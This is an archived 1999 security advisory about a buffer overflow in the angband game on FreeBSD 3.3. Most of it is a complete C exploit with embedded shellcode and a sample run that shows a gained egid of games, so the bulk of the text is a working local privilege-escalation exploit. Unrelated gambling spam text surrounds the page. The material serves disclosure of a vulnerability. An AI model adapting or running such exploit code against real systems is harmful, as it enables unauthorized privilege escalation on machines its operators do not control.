Casinos Not On GamstopNon Gamstop CasinosCasinos Not On GamstopOnline Casinos UKNon Gamstop Casino
2nd Dec 1999 [SBWID-59]
COMMAND
	    /usr/X11R6/bin/angband
SYSTEMS AFFECTED
	    FreeBSD 3.3
PROBLEM
	    Brock  Tellier  found  following.    It  was  tested  on   FreeBSD
	    3.3-RELEASE.   The program  was installed  with the  default perms
	    given when unpacked with sysinstall:
	
	        -r-xr-sr-x 1 bin games 481794 Sep 11 01:10 /usr/X11R6/bin/angband
	
	    Want to impress your friends  with the highest tetris score  known
	    to man?  Gain egid games  with a buffer overflow in angband.   The
	    overflows are:
	
	        angband -u$BUF
	        angband -d$BUF
	
	    Exploit:
	
	        bash-2.03$ gcc -o angames angames.c
	        bash-2.03$ angband `./angames`
	        eip=3xbfbfc6b4 offset=0 buflen=1095
	        NOPs to 1021
	        Shellcode to 1088
	        eip to 1092
	        garbage to 1094
	        $ id
	        uid=1000(xnec) gid=1000(xnec) egid=13(games) groups=13(games), 1000(xnec)
	        $
	
	    The code itself:
	
	    /* FreeBSD 3.3 angband exploit yields egid of group games
	     * usage: gcc -o angames angames.c /path/to/angband `./angames <offset>`
	     * overflow is 1088bytes of NOP/Shellcode + 4bytes EIP +2bytes garbage
	     * Brock Tellier <[email protected]>
	     */
	    #include <stdio.h>
	    char shell[]= /* [email protected] */
	    "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
	    "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
	    "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
	    "\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh";
	    main (int argc, char *argv[] ) {
	    int x = 0;
	    int y = 0;
	    int offset = 0;
	    int bsize = 1095; /* 2bytes"-u" + overflowed buf's bytes + */
	    char buf[bsize]; /* 4bytesEBP + 4bytesEIP + 2bytesGarbage */
	    char arg[bsize + 2];
	    int eip = 0xbfbfc6b4; /* FreeBSD 3.3 */
	    if (argv[1]) {
	    offset = atoi(argv[1]);
	    eip = eip + offset;
	    }
	    fprintf(stderr, "eip=0x%x offset=%d buflen=%d\n", eip, offset, bsize);
	    for ( x = 0; x < 1021; x++) buf[x] = 0x90;
	    fprintf(stderr, "NOPs to %d\n", x);
	    for ( y = 0; y < 67 ; x++, y++) buf[x] = shell[y];
	    fprintf(stderr, "Shellcode to %d\n",x);
	    buf[x++] = eip & 0x000000ff;
	    buf[x++] = (eip & 0x0000ff00) >> 8;
	    buf[x++] = (eip & 0x00ff0000) >> 16;
	    buf[x++] = (eip & 0xff000000) >> 24;
	    fprintf(stderr, "eip to %d\n",x);
	    buf[x++] = 'X';
	    buf[x++] = 'X';
	    fprintf(stderr, "garbage to %d\n", x);
	    buf[bsize - 1] = '\0';
	    sprintf(arg, "-u%s", buf);
	    arg[bsize + 1] = '\0';
	    printf("%s", arg);
	    }
	
SOLUTION
	    To be fixed.
	

Internet highlights